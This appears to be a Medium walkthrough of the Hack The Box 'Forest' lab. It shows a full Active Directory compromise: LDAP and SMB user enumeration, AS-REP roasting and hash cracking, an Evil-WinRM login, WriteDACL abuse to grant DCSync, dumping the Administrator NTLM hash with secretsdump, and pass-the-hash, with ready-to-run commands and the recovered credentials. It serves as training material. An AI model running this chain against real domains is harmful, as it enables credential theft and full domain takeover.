HTB:Forest
Enumeration
I started with an Nmap scan to identify the services exposed by the target.
sudo nmap -sV -p- --min-rate 5000 -T4 10.129.95.210PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-29 17:15:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
The scan revealed a large number of open ports. The most interesting ones were:
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Microsoft Windows SMB
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0The combination of Kerberos (88), LDAP (389), SMB (445), and WinRM (5985) strongly suggested that this was an Active Directory Domain Controller.
The Nmap output also revealed the domain:
Domain: htb.localSince LDAP was exposed, I decided to enumerate the Active Directory environment.
LDAP Enumeration
I first queried the LDAP server for its naming contexts:
ldapsearch -x -H ldap://10.129.95.210 -s base namingcontextsThe -x option is important here.
It tells ldapsearch to use simple authentication rather than SASL. Since no username or password was supplied, this resulted in an anonymous LDAP bind.
In simple terms:
We are asking the LDAP server for information without authenticating as a specific user.
The query returned:
DC=htb,DC=localThis is the Base Distinguished Name (Base DN) of the domain.
Think of Active Directory as a directory tree:
htb.local
│
├── Users
├── Computers
├── Groups
└── PoliciesThe Base DN tells LDAP where the root of that directory tree is located.
Therefore:
DC=htb,DC=localmeans:
Start searching from the root of the
htb.localdomain.
Enumerating Domain Users
Now that I knew the Base DN, I could query LDAP for user objects.
ldapsearch -x \
-H ldap://10.129.95.210 \
-b "DC=htb,DC=local" \
"(objectClass=user)" sAMAccountNameThe important part of this query is:
(objectClass=user)This is an LDAP search filter.
You can think of it similarly to a WHERE clause in SQL.
For example, in SQL:
SELECT * FROM objects
WHERE objectClass = 'user';LDAP uses:
(objectClass=user)The meaning is simply:
Only return objects whose type is
user.
The sAMAccountName attribute then asks LDAP to return the users' logon names.
However, LDAP enumeration did not give me everything I wanted, so I moved to another method of enumerating domain users.
Enumerating Users with NetExec
I used NetExec’s SMB user enumeration functionality:
netexec smb 10.129.47.51 -u '' -p '' --usersThe -u '' -p '' specifies an empty username and password, allowing me to test whether the server permitted unauthenticated enumeration.
The output returned a list of domain users.
I then extracted the usernames into a file:
netexec smb 10.129.47.51 -u '' -p '' --users | \
grep "SMB" | \
awk '{print $5}' | \
grep -v "Username" > users.txtThis gave me a clean list of usernames that I could use for further enumeration.
AS-REP Roasting
With a list of valid domain usernames, I could look for accounts that do not require Kerberos pre-authentication.
This is where AS-REP Roasting becomes useful.
Normally, when a user authenticates using Kerberos, the domain controller requires pre-authentication. However, if an account has Kerberos pre-authentication disabled, an attacker can request an AS-REP response without knowing the user’s password.
The response contains material derived from the user’s password, which can potentially be cracked offline.
I used GetNPUsers.py to test the discovered users:
python3 GetNPUsers.py htb.local/ \
-dc-ip 10.129.47.51 \
-usersfile /kali/home/Forest/users.txtThe attack was successful and returned an AS-REP hash.
I then used Hashcat to crack the hash.
Get Uddhav Sethi’s stories in your inbox
Join Medium for free to get updates from this writer.
For Kerberos 5 AS-REP hashes, Hashcat mode 18200 is used:
hashcat -m 18200 hash.txt wordlist.txtThe password was successfully recovered:
Account password recovered: s3rviceI now had valid credentials for the account:
svc-alfrescoGetting a Shell with WinRM
Going back to the Nmap results, port 5985 was open:
5985/tcp open http Microsoft HTTPAPI httpd 2.0Port 5985 is commonly associated with Windows Remote Management (WinRM).
Since I now had valid domain credentials, I tested them against WinRM using Evil-WinRM:
evil-winrm -i 10.129.49.57 -u svc-alfresco -p s3rviceThe authentication succeeded and I obtained a PowerShell session on the target.
At this point, I had initial access as:
svc-alfrescoBloodHound Enumeration
Now that I had domain credentials and an authenticated session, the next step was to understand the privileges available to svc-alfresco.
Rather than blindly attempting privilege escalation, I used BloodHound to map the Active Directory relationships.
The important thing to look for was whether svc-alfresco had an indirect path to higher privileges.
In BloodHound, I started the pathfinding search from:
svc-alfrescoand used:
HTB.LOCALas the destination.
The resulting graph showed a path through group membership and permissions that ultimately led to the domain.
The important permission in the chain was:
WriteDACLThis was the key to the next stage.
Abusing WriteDACL
WriteDACL allows an account to modify the permissions associated with an Active Directory object.
In this case, the permissions could be modified so that svc-alfresco obtained powerful replication rights over the domain.
I first added the account to the relevant group:
net group "Exchange Windows Permissions" svc-alfresco /add /domainI then prepared PowerView for modifying the domain object’s ACL.
cd /usr/share/windows-resources/powersploit/Recon
python3 -m http.server 9002After importing the required PowerShell functionality on the target, I used:
Get-Command Add-DomainObjectAclThe important operation was then:
Add-DomainObjectAcl -TargetIdentity "HTB.LOCAL" `
-PrincipalIdentity "svc-alfresco" `
-Rights DCSyncThis grants svc-alfresco the permissions required to perform DCSync against the domain.
DCSync
DCSync abuses Active Directory replication functionality.
Normally, domain controllers use replication to synchronize directory information with one another. Accounts with the appropriate replication permissions can request this information as though they were another domain controller.
This can include password hashes for domain accounts.
To demonstrate this, I created another domain account:
net user john abc123! /add /domainand added it to the relevant group:
net group "Exchange Windows Permissions" john /addI then used Impacket’s secretsdump to request the domain credential material:
impacket-secretsdump HTB.LOCAL/john:'abc123!'@10.129.52.183The output included the NTLM hash for the domain Administrator account:
htb.local\Administrator:500:
aad3b435b51404eeaad3b435b51404ee:
32693b11e6aa90eb43d32c72a07ceea6The important value here is the NTLM hash:
32693b11e6aa90eb43d32c72a07ceea6At this point, I had the Administrator’s NTLM hash and did not need to recover the plaintext Administrator password.
Final Step: Pass-the-Hash with Evil-WinRM
Because WinRM was available on the target, I could use the Administrator’s NTLM hash for a Pass-the-Hash authentication.
evil-winrm -i 10.129.52.183 \
-u Administrator \
-H 32693b11e6aa90eb43d32c72a07ceea6The authentication succeeded, giving me an Administrator PowerShell session:
*Evil-WinRM* PS C:\Users\Administrator\Documents>This completed the attack chain.
The overall path was:
Anonymous LDAP Enumeration
↓
Domain User Enumeration
↓
AS-REP Roasting
↓
Recover svc-alfresco Password
↓
WinRM Access
↓
BloodHound Enumeration
↓
Abuse WriteDACL
↓
Grant DCSync Privileges
↓
DCSync Administrator Hash
↓
Pass-the-Hash
↓
Domain AdministratorThe main lesson from this machine is that Active Directory privilege escalation is often about chaining seemingly small permissions together. An exposed LDAP service allowed user enumeration, an account with disabled Kerberos pre-authentication allowed AS-REP roasting, and the resulting account’s Active Directory permissions ultimately provided a path to DCSync and full domain compromise.


![[HTB Sherlock] Baggage](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2oD2jUMt5vfA_KvDpbAi5w.png)

